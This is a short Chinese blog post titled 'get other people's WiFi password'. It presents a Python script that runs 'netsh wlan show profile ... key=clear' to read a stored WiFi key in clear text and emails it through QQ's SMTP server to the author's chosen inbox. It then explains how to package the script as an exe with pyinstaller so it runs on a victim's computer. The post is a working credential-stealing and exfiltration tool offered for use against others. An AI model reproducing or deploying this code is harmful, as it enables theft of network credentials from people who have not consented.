获取他人WiFi密码

使用的工具

  就是使用了python语言,利用里面的os库和smptlib。

代码

 1 import os
 2 import smtplib
 3 from email.mime.text import MIMEText
 4 
 5 
 6 def get_pwd():
 7     wifi = "\"404 NOT FOUND\""
 8     cmd = "netsh wlan show profile name=" + wifi + " key=clear"  # 设置cmd命令
 9     res = os.popen(cmd)  # 获取cmd命令的输出
10     out_str = res.read()  # 读取输出
11     return out_str
12 
13 
14 def send():
15     mail_host = "smtp.qq.com"
16     port = 465
17     send_from = "@qq.com"  # 发件人邮箱
18     pass_word = ""  # 开启SMPT服务时,邮箱给的授权码
19     send_to = "@qq.com"  # 收件人邮箱
20     wifi_pwd = get_pwd()
21     message = MIMEText(wifi_pwd, 'plain', 'utf-8')
22     message["From"] = send_from
23     message['To'] = send_to
24     message['Subject'] = "wifi_pws"
25     try:
26         # 注意第三个参数,设置了转码的格式(我不设的时候会报解码错误)
27         smpt = smtplib.SMTP_SSL(mail_host, port, 'utf-8')
28         smpt.login(send_from, pass_word)
29         smpt.sendmail(send_from, send_to, message.as_string())
30         print("发送成功")
31     except:
32         print("发送失败")
33 
34 
35 send()

一些小提升

  如果受害者电脑不支持跑python这么办呢?我们可以将python文件打包成exe。所以接下来讲怎么把python文件转为exe。

  首先,安装必备的库:pyinstaller。

  接着转到python文件目录。

  最后使用 pyinstall -F 文件名.py

  运行成功后,就可以在dist文件中找到你的exe文件了

posted @ 2021-04-23 22:59  南理工学渣  阅读(651)  评论(0编辑  收藏  举报